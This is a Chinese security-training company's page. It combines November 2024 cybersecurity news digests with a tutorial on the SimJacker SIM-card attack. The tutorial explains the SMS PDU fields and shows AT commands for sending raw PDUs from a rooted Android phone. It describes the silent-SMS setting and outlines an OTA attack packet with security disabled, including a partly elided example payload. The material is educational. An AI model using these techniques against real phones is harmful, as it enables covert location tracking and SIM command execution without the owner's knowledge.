NISP国家信息安全水平考试-报考指南
经国家信息安全水平考试(NISP)管理中心授权,蚁景科技正式成为国家信息安全水平考试授权运营机构,具备组织、实施和培训NISP的相关资格。
扫码添加老师咨询报名
详细课程内容及服务扫码咨询
网络安全日报 2024年11月18日
1、Lazarus黑客组织利用macOS扩展属性隐藏恶意代码
https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/Lazarus黑客组织近日开始尝试利用macOS文件的扩展属性传播一种名为RustyAttr的新型木马。这种攻击手段通过将恶意代码隐藏在自定义文件元数据中,并结合诱饵PDF文档来规避检测,展现了高度的隐蔽性。这一技术与2020年Bundlore广告软件利用资源分支隐藏有效负载的手法相似。RustyAttr木马通过利用macOS的扩展属性(EA)来隐藏恶意脚本,恶意代码存储在名为“test”的EA中。恶意应用使用Tauri框架构建,结合了网页前端(HTML、JavaS
2、施耐德电气披露其Modicon控制器存在严重安全漏洞
https://www.govinfosecurity.com/schneider-electric-warns-critical-modicon-flaws-a-26804施耐德电气(Schneider Electric)近日披露了其Modicon M340、Momentum和MC80系列可编程自动化控制器的多个关键安全漏洞,可能导致未经授权的访问、数据篡改及系统中断等风险。这些漏洞影响了广泛应用于制造业、能源及关键基础设施等行业的设备,可能被攻击者利用进行拒绝服务攻击或执行任意代码。漏洞具体包括CVE-2024-8936、CVE-2024-8937和CVE-2024-8938,均涉及到Mo
3、B2B数据聚合公司DemandScience泄露超1亿人数据
https://www.bleepingcomputer.com/news/security/leaked-info-of-122-million-linked-to-b2b-data-aggregator-breach/自2024年2月起,1.22亿条商业联系信息开始在网络上流传,现已确认这些数据来自B2B数据聚合公司DemandScience(前身为Pure Incubation)。这些信息涉及个人的姓名、地址、电子邮件、电话号码、职位、社交媒体链接等内容,主要收集自公共来源及第三方,供数字营销人员和广告商用来生成营销线索。2024年2月,名为‘KryptonZambie’的黑客在Brea
4、谷歌为Android推出一项新的人工智能防诈骗功能
https://security.googleblog.com/2024/11/new-real-time-protections-on-Android.html谷歌近期为其Pixel设备推出了两项新型实时保护功能,旨在提升Android用户的安全性。首先,谷歌引入了AI驱动的诈骗电话检测功能,该功能通过分析电话通话中的对话模式,实时识别潜在的诈骗行为。当系统检测到类似银行欺诈等典型诈骗模式时,用户将收到警告,并可选择是否终止通话。该功能完全在设备内处理,确保用户隐私不外泄,并且默认处于关闭状态,用户可根据需要启用。其次,谷歌还增强了Google Play Protect的功能,推出了实时威胁
5、攻击者利用盗版内容传播Lumma Stealer窃密木马
https://www.bitdefender.com/en-us/blog/hotforsecurity/torrents-pirated-tv-shows-lumma-stealer网络犯罪分子正通过盗版影视内容传播恶意软件,利用用户对热门未播出剧集和电影的渴望进行攻击。Bitdefender研究发现,攻击者在种子网站上传伪装为未播出影视内容的恶意种子文件,以吸引不设防的用户。这些种子文件通常以真实文件大小和命名规则伪装,用户下载后解压发现包含一种名为Lumma Stealer的恶意软件。这种恶意软件作为“恶意软件即服务”(MaaS)产品销售在暗网,即使是技术水平不高的攻击者也能轻松部署。
6、微软因邮件传输问题撤回Exchange安全更新
https://www.bleepingcomputer.com/news/microsoft/microsoft-pulls-exchange-security-updates-over-mail-delivery-issues/微软近日撤回了2024年11月发布的Exchange Server安全更新,原因是该更新在使用自定义邮件流规则的服务器上引发了邮件传输问题。据管理员反馈,在安装更新后,邮件流会定期停止,严重影响邮件的正常发送与接收。此次问题主要影响使用邮件流规则或数据丢失保护(DLP)规则的客户。邮件流规则用于在邮件传输过程中筛选和重定向邮件,而DLP规则则防止敏感信息意外泄露。微
7、CISA警告Palo Alto Expedition的两个漏洞已被攻击者利用
https://www.securityweek.com/cisa-warns-of-two-more-palo-alto-expedition-flaws-exploited-in-attacks/美国网络安全与基础设施安全局(CISA)于11月14日警告,Palo Alto Networks Expedition工具的两个关键漏洞(CVE-2024-9463和CVE-2024-9465)正被在野利用。这些漏洞是10月初修复的,但近期被发现遭到攻击者的恶意利用。CVE-2024-9463是一个操作系统命令注入漏洞,攻击者无需认证即可以root权限运行任意操作系统命令,导致明文凭证、设备配置和
8、NSO Group利用WhatsApp漏洞植入间谍软件
https://securityaffairs.com/171047/security/nso-group-used-whatsapp-exploits-even-after-meta-owned-company-sued-it.html以色列监控公司NSO Group被曝利用WhatsApp漏洞开发并分发间谍软件,尽管Meta(原Facebook)旗下的即时通讯平台已经对其提起诉讼。据法庭文件显示,NSO承认其研发并销售了包括“Eden”在内的多种“零点击”攻击向量,这些工具通过逆向工程WhatsApp代码并利用专门设计的服务器发送恶意消息,从而秘密植入“Pegasus”间谍软件。此类攻击共
9、GitHub开源项目遭恶意代码注入攻击
https://www.bleepingcomputer.com/news/security/github-projects-targeted-with-malicious-commits-to-frame-researcher/近日,开源代码托管平台GitHub上多个项目遭到恶意提交和拉取请求(PR)攻击,试图植入后门代码,其中包括AI和机器学习初创公司Exo Labs的项目。此次攻击引发了社区对攻击者真实意图的广泛关注。Exo Labs联合创始人Alex Cheema警告称,该公司的GitHub库收到了一份看似无害的拉取请求,标题为“clarify mlx requirement for
10、Hive0145黑客组织利用钓鱼邮件传播Strela Stealer
https://securityintelligence.com/x-force/strela-stealer-todays-invoice-tomorrows-phish/2024年11月,IBM X-Force披露,名为Hive0145的网络犯罪组织持续在欧洲发动网络钓鱼攻击,将Strela Stealer恶意软件传播至西班牙、德国和乌克兰等国家。攻击者使用从前期窃取的电子邮件凭证发送伪装为真实发票通知的钓鱼邮件,引诱受害者下载并执行带有恶意附件的文件。Strela Stealer专注于窃取存储在Microsoft Outlook和Mozilla Thunderbird中的用户凭证,进而可
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
SIM Jacker攻击分析
简介:
2019年9月12日,AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式:Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标,危害较大。sim卡的使用在手机上的使用非常普遍,所以一旦SIM卡上出现什么问题就会造成非常大的影响。在19年的报告纰漏中,在全球估算共有10亿设备的sim卡容易遭受SIM Jacker攻击,这篇也是比较浅显的对整个攻击进行分析。
1.一点点背景
在了解整个攻击前需要对整体的一个框架有所了解,现在我们就先来了解一下短信是如何去发送的。GSM的中文就是全球移动通信系统,是由欧洲电信标准组织ETSI 制定的一种数字制式的蜂窝移动通信系统。当初开发 GSM目的是让全球各地可以共同使用一个移动电话网络标准,让用户使用一部手机就能行遍全球,因此GSM 还有一个很接地气的俗称------全球通。
GSM与它以前的标准相比较而言最大的不同是它的信令和语音信道都是数字式的,因此GSM 被看作是第二代(2G)移动电话系统。 短信(Short MessageService,SMS)是基于 GSM(全球移动通信系统)网络标准的通信服务之一,SMS允许通过 GSM 网络发送和接收文本消息。现在来看看整个短信的发送流程。
这里面中最主要涉及到了三个很重要的主体:发送者,短信中心,接收者。也就是我们的短信必须经过短信中心的转发才能到达接收者的SIM卡上。这里面也涉及到了很多基站的不同功能,比较完整的发送详细的可以看这个https://zhuanlan.zhihu.com/p/41439805。
以下是具体的步骤:
发送者编辑短信,通过无线信号(SIM)将消息内容发送到基站
基站收到消息内容经过一系列网元处理将其转发到运营商短信服务中心
运营商短信服务中心经过一系列网元处理将数据转发到接收者附近的基站
接收者附近的基站将短信内容发送到接收者
2.PDU模式短信的格式
GSM收发短消息又分三种模式:BLOCK 模式、TEXT 模式和PDU 模式。BLOCK模式现在用的很少了;TEXT 模式则只能发送ASCII码,它不能发送中文的https://so.csdn.net/so/search?q=UNICODE&spm=1001.2101.3001.7020码(确切地讲,从技术上来说是可以用于发送中文短消息的,但是国内的手机基本上不支持);而PDU模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU格式,但PDU模式被所有手机支持,可以使用任何字符集,它也是手机默认的编码方式。接下来我们来主要了解在这个模式下短信的格式。
以一个现实里的例子去讲解这个,这些是16进制的表示
0891683108200805F011190D91683188902848F40008FF108FD9662F4E0067616D4B8BD577ED4FE1
短信中心地址字段 0891683108200805F0
FirstOctet字段 11
消息参考值 19
接收者号码字段 0D91683188902848F4
协议标识 00
编码方法 08
有效期 FF
用户数据长度 F10
用户数据 8F......E1
短信中心地址字段
这个就是短信中心的地址,一般SIM卡都已经写好了,所以这里还有一个很常见的写法就是00,表示默认。08表示字节长度,9168表示的就是+86,表示的是在中国的号码,然后后面跟着号码。
FirstOctet字段
这个字段非常重要,涉及到许多设置,每一bit都有用处,先将十六进制下的11换成二进制的00010001,
我们从最低位开始,从右往左看
首先我们看的就是01(对这俩位得连在一起看),这俩位表示的是这个短信的类型,最常见的有俩种SMS-SUBMIT、SMS-DELIVER。SMS-SUBMIT表示移动终端设备发送到短信中心,SMS-DELIVER表示短信中心发送到移动终端设备,对应的分别是01和00,这里是01,表示就是这是一条发送者的短信
接下来就是第2位0,表示是否要接收重复的消息
然后是10,这里表示了短信有效期的形式,10表示使用的相对时间,这也是常用的设置
然后就是第5位啦,这是一个非常有意思的参数,返回短信状态报告。用通俗的话讲就是告诉发送者接收者是否已经接收到了短信,这里面所蕴含的信息在USENIX23上被用来实现了定位
然后第6位就是用户数据头标示,当它等于0的时候就是表明这是一个短信消息,如果是一个OTA消息呢,比如SIM
jacker,就得设置为1
第7位是设置回复路径,每个SIM卡都设置了一个短信中心的号码,如果设置为0,那么接收者接回复短信时用的也是发送者的短信中心;如果这个是1,那么接收者将使用自己的短信中心
用一下别人的表,大家可以来对照一下:
消息参考值
这个值有点像ID,范围是0~255,如果一个短信被分成了多片,短信中心可以依据这个值将其进行组合
目标地址
这个同短信中心的设置,不过这里的0D表示的数字的长度,表示有几个数字
协议标识符
它是表明一条短信的用途或协议,它不仅用于传统的短信传输,也用于传输其他类型的信息,如传真、电子邮件或无线应用协议(WAP)消息。00表示的没有什么特殊的协议,静默短信的设置也涉及到这个,需要将这个修改成40,这个静默短信发送给接收者是完全没有任何提示的
数据编码方案
指明这个pdu的编码方式是什么,PDU收发短信有三种编码可用:7-bit、8-bit和UCS2编码,00为7Bit编码,04是8bit,08是UCS2编码,到后面的可以表达的内容更多,7bit简单的英文到UCS2编码可以发送中文。
有效期
这里根据前面常见的设置就是相对有效期,FF表示最大30天,00最小5分钟
用户数据长度
后面跟着的数据的长度
3.一点点实验
了解到了一个PDU模型,短信的格式,一个标准的pdu可以直接用在线的网站进行生成,http://www.sendsms.cn/pdu/,大部分格式限定后,就可以修改部分设置
现在pdu格式有了,该如何发呢,这种最简单的情况就是去网上买个GSM模块,插上一张可以收发短信的SIM卡就可以直接用了,但考虑到大家只是简单了解一下,也不一定非得买个专门的设备,所以我们这里使用一个大家肯定都有的设备的,一台root过的手机。我使用的是魅族m3note,比较好root,大家也可以试试。
首先先接入adb进行调试,已经确定获得了root权限
因为安卓为linux系统修改的,所以一切皆文件,插入的sim卡也会被映射成一个文件,可以进行操作
一个示例如下
现在我们需要找到插入SIM卡之后的对应的文件,最简单的方式就是对比插入前后的对比找到
查看/proc/devices ,不过并没有变化,这里判断应该是准备着有接口,已经存在。
使用demsg,但是因为数据线处于连接状态充电,会有很多杂乱信息,而且魅族上使用的也不是smd* ,这里也可以尝试一个一个去找,但也会有很多问题。
这里找到一个比较好的办法,查看设备的radio日志
logcat -b radio | grep dev
先挂起日志监控,在插入SIM卡后,会输出大量信号,这里就成功定位到了SIM卡所映射的设备
因为每个设备对换行的接收不一样,所以建议几种方式一起去试,一个例子如下:
echo -e "AT+COPS?" > /dev/pts/4\echo -e "AT+COPS?\r" > /dev/pts/4\echo -e "AT+COPS?\r\n" > /dev/pts/4\echo -e "AT+COPS?\n" > /dev/pts/4\echo -e "AT+COPS?;" > /dev/pts/4\echo -e "AT+COPS?;\r" > /dev/pts/4\echo -e "AT+COPS?;\r\n" > /dev/pts/4\echo -e "AT+COPS?;\n" > /dev/pts/4
之后逐一筛选,选择合适的结尾,这里是\n
然后发送一条短信试试
echo -e "AT+CMGF=0\n" > /dev/pts/4 # PDU模式\echo -e "AT+CMGS=20\n" > /dev/pts/4 # 字符长度\echo -e "0031000D9168xxxxxxxxxxxx00000005E8329BFD06\032\n" >/dev/pts/4
之后就可以在接收者那收到短信,\032 对应ctrl\^z,是发完短信的结束符,不算入总长度
4.SIM Jacker
了解完前面三个部分,大家有了一些基本的了解,接下来我们就来看看SIMJacker这个攻击,一些具体的影响后果啥的就不去细究了,主要还是了解背后的一些原理。
(1)OTA消息
OTA 消息,也称为二进制消息,是包含一组(U)SIM 应用程序工具包(USAT)命令的特定 APDU 消息,这些消息针对 SIM卡内的特定应用程序,而这些应用程序又执行消息本身提供的USAT命令,这些命令包括:设置呼叫、发送短信、更新SIM 信息、编辑 SIM 文件等。
OTA 消息通常设计为从运营商发送到用户,服务提供商可以引入新的 SIM服务、修改 SIM的内容、执行软件更新、配置设置,甚至更新移动设备的加密密钥。
正是因为这一特性的存在导致了SIMJacker的发生,也就是OTA消息也可以由一个用户发送,而非短信中心。
SIM Jacker发生的条件主要有三个:
短信中心可以接受并转发PDU消息
接收者能够解析SIM应用工具包命令的PDU消息
SIM上部署了S@T浏览器技术,并且设置了"不应用任何安全措施"的最低安全级别
其他的一些条件,比如主动 UICC 命令等这些都是默认开启的,这里就不在提及。
让我在回到PDU模式短信那块,在FirstOctet字段中有一位可以将普通的用户数据,变成对SIM卡特定应用的程序的执行命令,就是要将第6位的用户数据头标示设置成1。也有很多是SIMjacker的攻击中的PDU是0041开头的。
先用一张图开始:
前面的部分和之前一样,主要来解释一下后面的UD部分:
先开始的是用户数据头,包含了俩部分
一个是是用户数据头的字节长度,另一个是用户数据头的设置,可以设置是否包含安全头。
命令包包含有关消息安全性、消息发往哪个应用程序以及我们想要执行的实际命令是什么等非常重要的信息。
命令包长度是整个命令包的字节长度:
命令头长度是命令头的字节长度:
命令头由6 个不同的值组成:
安全参数指示符(SPI)指定是否对消息应用任何安全性,在SIMjacker中要将SPI设置如下:SPI = 0x0000
加密密钥标识符(KIC)所使用的加密类型,我们将其设置为:KIC = 0x00
密钥标识符 (KID)指定用于加密的密钥,我们将其设置为:KID = 0x00
目标应用程序参考 (TAR)标识了我们将向其发送消息的 SIM卡上的应用程序,我们将其设置为S@T 浏览器:
TAR = 0x505348
计数器和填充计数器 (CNTR & PCNTR),这些值的设置如下:CNTR =0x0000000000PCNTR= 0x00
安全数据(S@T/STK 命令)(关键)
这是有效载荷中最重要的部分,它包含我们希望S@T浏览器应用程序代表我们执行的命令。这些命令是使用STK字节码构建的,例如,它可以用于设置呼叫和发送短信。
(2)示例分析
一个具体的例子就在下面
AT+CMGF=0\AT+CMGS=69\>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121...2D0C100383...2B00(CTRL + Z)
将这些结构对应回图上,
现在检测或者进行的SIM jacker的工具已经有了,大家拿一个SIMTester和一个读卡器就可以了,不过国内的SIM卡没有这方面的攻击案例,自己测试也没有找到这方面的案例。
网络安全日报 2024年11月15日
1、WIRTE黑客组织持续针对中东地区发起网络攻击
https://research.checkpoint.com/2024/hamas-affiliated-threat-actor-expands-to-disruptive-activity/Check Point Research近日跟踪了与哈马斯相关的WIRTE网络威胁组织的活动,发现该组织自2018年起持续进行政治动机驱动的网络间谍活动,尤其集中在中东地区。尽管以色列和哈马斯的冲突仍在进行,但WIRTE的活动并未受到影响,反而利用地区局势发动了多波攻击,目标包括巴勒斯坦当局、约旦、埃及、沙特阿拉伯等多个国家。2024年2月和10月,WIRTE使用名为SameCoin的清除型恶意软件对
2、加拿大执法部门逮捕涉嫌多起黑客攻击的嫌疑人
https://thehackernews.com/2024/11/canadian-suspect-arrested-over.html加拿大执法部门于2024年10月30日逮捕了一名涉嫌参与多起黑客攻击事件的个人,犯罪行为源于今年早些时候对云数据仓储平台Snowflake的入侵。2024年6月,Snowflake公司披露其平台遭到黑客攻击。随后,谷歌旗下的Mandiant安全公司将此次攻击归咎于一个名为UNC5537的、以经济利益为动机的威胁组织。Mandiant公司表示,UNC5537的成员主要位于北美,并与一名土耳其成员合作。Mandiant评估称,大约165家组织受到了此次攻击的影响
3、大型零售商Ahold Delhaize披露遭遇网络安全事件
https://www.securityweek.com/ahold-delhaize-cybersecurity-incident-impacts-giant-food-hannaford/大型零售和超市连锁集团Ahold Delhaize在周五披露其美国网络发生了网络安全事件,多个旗下品牌受到影响。受影响的品牌包括Giant Food药品店和Hannaford超市。Ahold Delhaize表示,部分品牌的网络出现问题,可能还会有其他品牌受到波及。Ahold Delhaize是全球最大的食品零售商之一,在美国运营多个超市和电子商务平台,包括Food Lion、Giant Food、Han
4、Android恶意软件SpyNote伪装杀毒软件窃取数据
https://www.cyfirma.com/research/spynote-unmasking-a-sophisticated-android-malware/Cyfirma的最新报告揭示了Android恶意软件SpyNote的复杂机制。作为一种高度进化的远程访问木马(RAT),SpyNote通过伪装成“Avast Mobile Security”诱骗用户下载安装。安装后,SpyNote利用Android的可访问性权限,绕过系统限制,授予自己额外权限并避免电池优化,确保其持续运行。该恶意软件通过模拟用户手势来悄无声息地提升权限,并利用虚假的系统更新通知持续欺骗用户,从而阻止卸载。SpyN
5、B2B数据聚合公司DemandScience泄露超1亿人数据
https://www.freebuf.com/news/415274.html据BleepingComputer消息,今年2月,一个名为“KryptonZambie”的黑客者开始在 BreachForums论坛 上出售 1.328亿条个人信息记录,目前已证实,这些数据来自一家聚合数据的 B2B 需求生成公司 DemandScience(前身为 Pure Incubation)。
6、谷歌提高安全性,强制要求兼容安卓15的新芯片支持AVF框架
https://www.ithome.com/0/810/193.htm科技媒体 Android Authority 于 11 月 11 日发布博文,报道称谷歌宣布兼容安卓 15 系统的新手机,其芯片必须支持 Android Virtualization Framework 框架,以提高安全性。
7、邮件欺诈新威胁,微软披露Exchange Server高风险漏洞
科技媒体 bleepingcomputer 11 月 12 日发布博文,报道称微软披露高危 Exchange Server 漏洞,攻击者利用该漏洞可伪造合法发件人,从而更有效分发恶意邮件。
https://www.ithome.com/0/810/166.htm8、新的RustyAttr恶意软件通过扩展属性滥用瞄准 macOS
https://thehackernews.com/2024/11/new-rustyattr-malware-targets-macos.html我们发现威胁参与者利用了一种新技术,该技术滥用 macOS 文件的扩展属性来走私名为RustyAttr的新恶意软件。
9、 'Sitting Ducks'攻击计划劫持了 70,000 个域名
https://thehackernews.com/2024/11/experts-uncover-70000-hijacked-domains.html威胁行为者利用一种名为“Sitting Ducks”的攻击技术来劫持合法域名,并将其用于网络钓鱼攻击和投资欺诈计划。调查结果来自 Infoblox,该公司表示,在过去三个月中发现了近 800,000 个易受攻击的注册域名,其中约 9%(70,000 个)随后被劫持。
10、OvrC 平台漏洞使物联网设备面临远程攻击和代码执行
https://thehackernews.com/2024/11/ovrc-platform-vulnerabilities-expose.html对 OvrC 云平台的安全分析发现了 10 个漏洞,这些漏洞可能被串联起来,允许潜在的攻击者在连接的设备上远程执行代码。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月14日
1、攻击者将恶意软件嵌入基于Flutter框架的应用程序
https://www.jamf.com/blog/jamf-threat-labs-apt-actors-embed-malware-within-macos-flutter-applications/ 2024年10月,Jamf Threat Labs发现了几个通过VirusTotal上传的恶意软件样本,尽管这些样本最初显示为无害,但实际上含有恶意意图。该恶意软件的域名和技术与朝鲜(DPRK)相关的其他攻击手段相似,并暂时通过了苹果的签名机制。尽管尚不清楚该恶意软件是否已被用来攻击任何目标,但攻击者似乎正在准备一种新的传播方式。此次发现的恶意软件有三种形式:Go变种、通过Py2App构建
2、研究人员发现针对GitHub开发者的新型钓鱼工具
https://hackread.com/gitloker-goissue-tool-targets-github-phishing-users/ SlashNext的安全研究人员发现了一种新型的钓鱼工具——GoIssue,专门针对GitHub开发者进行大规模攻击。该工具被认为与GitLoker勒索活动相关,能够自动化地从公开的GitHub个人资料中收集电子邮件地址,进而发起精准的钓鱼攻击。GoIssue不仅可以获取电子邮件地址,还能通过伪造的通知、恶意网页、恶意OAuth应用等方式诱导用户输入凭证,最终可能导致私有仓库的泄露、源代码被窃取或供应链攻击等风险。GoIssue的攻击目标不仅是单
3、以色列支付系统遭遇DDoS攻击导致读卡器瘫痪
https://securityaffairs.com/170823/hacking/cyberattack-payment-systems-israel.html 近日,以色列的多个加油站和超市发生了大规模支付系统故障,原因是一场DDoS攻击。攻击发生在周日早晨,导致数千个信用卡读卡器无法正常工作,顾客无法完成支付。攻击目标为Hyp Credit Guard支付网关,造成其与卡终端之间的通信中断。尽管攻击持续了约一小时,但公司随后宣布已成功阻止了此次攻击,系统恢复正常。该公司确认此次攻击并未涉及个人或金融数据泄露。此次事件涉及多家以色列企业,包括Maccabi健康基金、打车服务Gett、外
4、FBI、CISA和NSA披露2023年最易被利用的漏洞
https://www.bleepingcomputer.com/news/security/fbi-cisa-and-nsa-reveal-most-exploited-vulnerabilities-of-2023/ 美国联邦调查局(FBI)、国家安全局(NSA)以及五眼联盟的网络安全机构近日联合发布了2023年最常被恶意黑客利用的15个漏洞清单,并敦促全球组织立即修补这些漏洞,以减少网络暴露于潜在攻击的风险。根据这份联合通告,2023年恶意网络攻击者利用零日漏洞的次数比2022年更多,使其能够攻击更高优先级的目标。报告指出,在2023年,最常被利用的漏洞中,大多数在首次被攻击时即为零日
5、微软披露一项影响Exchange Server的高危漏洞
https://www.bleepingcomputer.com/news/security/unpatched-microsoft-exchange-server-flaw-enables-spoofing-attacks/ 微软披露了一项影响Exchange Server的高危漏洞(CVE-2024-49040),该漏洞允许攻击者伪造合法的发件人地址,从而使恶意邮件更具欺骗性和危害性。该漏洞影响Exchange Server 2016和2019版本,由Solidlab的安全研究员Vsevolod Kokorin发现,并于今年早些时候报告给微软。Kokorin在报告中指出,问题在于SMTP
6、黑客声称近5亿Instagram用户的数据被抓取
https://www.freebuf.com/news/415153.html 据Cyber News消息,11 月 10 日,一名黑客在某黑客论坛上列出了一个待售数据集,声称它包含 4.89 亿 Instagram 用户数据。Instagram 每月有超过 20 亿活跃用户,意味着如果这些数据被证明是真实的,将影响将近四分之一的用户。黑客分享了 100 多条数据样本,包括用户名、姓名 、电子邮件等。虽然黑客者声称这些数据是 "新收集的",但在黑客论坛上分享的数据的有效性通常值得怀疑。 据 Cybernews 研究人员称,数据样本中共享的 Instagram 配置文件似乎是真实的。
7、Telegram 首次将犯罪用户数据移交给荷兰当局
https://cybernews.com/security/telegram-hands-criminal-user-data-to-dutch-authorities/ 荷兰检察院表示,它首次从Telegram获得了犯罪嫌疑人的数据,并非常高兴Telegram 能与之合作。
8、广东电网发布全国首个电力企业网络安全能力成熟度模型
http://www.chinapower.com.cn/dlxxh/zhxw/20241112/267020.html 11月7日,广东电网公司在北京发布了电力企业全国首个针对组织类评估的网络安全能力成熟度模型,弥补了电力企业针对组织类评估的网络安全能力成熟度模型空白。
9、黑客称已通过反作弊漏洞封禁了数千名《使命召唤》的合法玩家
https://cybernews.com/security/hacker-claims-to-have-banned-thousands-of-cod-players/ TechCrunch 报道称,一位名为 Vizor 的黑客声称利用了《使命召唤》(CoD) Ricochet 反作弊系统中的一个漏洞来禁止数千名合法玩家。
10、25家跨国企业数据泄露,MOVEit漏洞引发重大安全危机
https://www.secrss.com/articles/72282 一名网名为“Nam3L3ss”的黑客公开发布了利用MOVEit漏洞获取的大量企业员工数据,据称来自麦当劳、汇丰、亚马逊、联想、惠普等多家知名跨国企业。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月13日
1、研究人员发布Ymir勒索软件分析报告
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/ 在一起近期的事件响应案例中,研究人员发现了一种新型勒索软件家族,被命名为“Ymir”。该恶意软件在攻击中表现出显著的规避检测能力,其关键特点是通过调用malloc、memmove和memcmp函数在内存中执行大规模操作,以减少磁盘活动,从而避开传统防护措施。分析显示,攻击者首先通过PowerShell远程控制命令成功入侵系统,随后部署了Process Hacker和Advanced IP Scanner等工具,降低系统的安全防护能力。在完成初步准备后,攻击
2、Halliburton披露遭受勒索软件攻击造成3500万美元损失
https://www.securityweek.com/cyberattack-cost-oil-giant-halliburton-35-million/ 全球能源行业服务巨头Halliburton披露,8月发生的一起勒索软件攻击导致公司损失高达3500万美元。此次攻击迫使公司关闭部分IT系统,并断开与客户的连接,尽管影响被控制在一定范围内,但对业务运营造成显著冲击。Halliburton在全球70个国家开展业务,拥有4.8万名员工,2023年营收超过230亿美元。2024年8月23日,公司向美国证券交易委员会(SEC)提交报告,证实一名未经授权的第三方侵入其系统。为了应对此次入侵,Ha
3、苹果iOS 18.1新增“闲置重启”功能强化数据安全
https://www.bleepingcomputer.com/news/security/iphones-now-auto-restart-to-block-access-to-encrypted-data-after-long-idle-times/ 苹果在上月发布的iOS 18.1更新中新增了一项名为“闲置重启”的安全功能。该功能旨在长时间闲置后自动重启设备,从而重新加密数据并提高提取难度。这一变化使设备从“首次解锁后”(AFU)状态切换为“首次解锁前”(BFU)状态。在BFU状态下,数据提取变得更为困难,因为解密所需的密钥不再保存在内存中,甚至连操作系统也无法访问。在iOS设备中,
4、亚马逊确认第三方供应商遭黑客攻击后泄露员工数据
https://www.forbes.com/sites/larsdaniel/2024/11/11/amazon-confirms-data-breach-exposed-2800000-lines-of-employee-data/ 亚马逊近日披露,员工数据因第三方物业管理供应商遭到攻击而被泄露,此次事件再次凸显了2023年MOVEit漏洞的长期危害。泄露事件由威胁行为者“Nam3L3ss”曝光,他们声称掌握了超过250TB的数据库文件,其中包括亚马逊和其他25家主要组织的数据。此次泄露与CVE-2023-34362漏洞相关,该漏洞是2023年5月首次被利用的严重SQL注入缺陷,攻击者可
5、Embargo勒索软件组织威胁泄露医院数据
https://www.govinfosecurity.com/embargo-ransomware-gang-sets-deadline-to-leak-hospital-data-a-26784 勒索软件组织Embargo近日威胁,将在未支付赎金的情况下公布1.15TB的数据,涉及美国乔治亚州一家小型社区医院和护理院。此次袭击发生在11月1日,Embargo在暗网公布了倒计时,声称即将泄露从Memorial Hospital and Manor和其附属的Willow Ridge个人护理机构窃取的文件。此次攻击导致该医院的IT系统瘫痪,影响了电子健康记录(EHR)和邮件等关键服务。Memo
6、Bitcoin Fog 创始人因加密货币洗钱被判处 12 年徒刑
https://thehackernews.com/2024/11/bitcoin-fog-founder-sentenced-to-12.html 36 岁的 Bitcoin Fog 加密货币混合器创始人因在 2011 年至 2021 年期间为洗钱活动提供便利而被判处 12 年零 6 个月监禁。
7、D-Link 不打算修复影响6万台旧 NAS 设备的关键漏洞
https://www.bleepingcomputer.com/news/security/d-link-wont-fix-critical-flaw-affecting-60-000-older-nas-devices/ 该漏洞被跟踪为 CVE-2024-10914,严重性评分为 9.2,超过 6万台已达到使用寿命的 D-Link 网络连接存储设备受到影响。D-Link 确认不会发布针对 CVE-2024-10914 的修复程序,供应商建议用户淘汰易受攻击的产品。
8、Anthropic、Palantir、AWS 为美国国防和情报机构构建 AI
https://www.inforisktoday.com/anthropic-palantir-aws-to-build-ai-for-us-defense-a-26773 Palantir、Anthropic 和 Amazon Web Services 合作构建了一个人工智能平台,供美国国防和情报机构使用。
9、Entrust 将停止作为受信任的证书颁发机构
https://www.inforisktoday.com/entrust-will-stop-operating-as-trusted-certificate-authority-a-26766 Google Chrome 和 Java Runtime Engine 以多年的问题为由,将不再信任由总部位于明尼阿波利斯的 Entrust 运行的所有新根证书颁发机构。
10、黑客滥用 Google Ads 传播 Fakebat 恶意软件
https://cybersecuritynews.com/fakebat-malware-via-google-ads/#google_vignette 网络安全研究人员发现,通过恶意 Google Ads 分发的 Fakebat 恶意软件加载程序卷土重来。经过长达数月的隐匿,Fakebat 重新出现,专注于正在寻找流行的生产力软件的用户。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年11月12日
1、Rhadamanthys窃密木马针对全球多个地区发起攻击
https://research.checkpoint.com/2024/massive-phishing-campaign-deploys-latest-rhadamanthys-version/ Check Point Research近期揭露了一个名为CopyRh(ight)adamantys的全球性钓鱼活动,该活动利用最新版本的Rhadamanthys窃密软件进行攻击。这场大规模且复杂的网络钓鱼活动以版权侵权为主题,针对美国、欧洲、东亚和南美等地区。攻击者冒充多家公司,通过不同的Gmail账户发送电子邮件,根据目标实体调整冒充的公司和语言,其中近70%的冒充对象来自娱乐/媒体和技术/
2、Fickle Stealer通过伪装成GitHub应用窃取用户信息
https://www.trellix.com/blogs/research/new-stealer-uses-invalid-cert-to-compromise-systems/ Fickle Stealer是一种基于Rust的新型信息窃取恶意软件,自2024年5月以来已通过多种途径传播,包括钓鱼邮件、浏览器自动下载、漏洞利用套件和社交工程。Fickle Stealer可伪装成Windows版GitHub Desktop,并带有“GitHub, Inc.”和“Microsoft Public RSA Time Stamping Authority”的伪造数字签名,增加其可信度,迷惑用户。
3、ESET研究人员公开发布关于RedLine窃密木马的研究成果
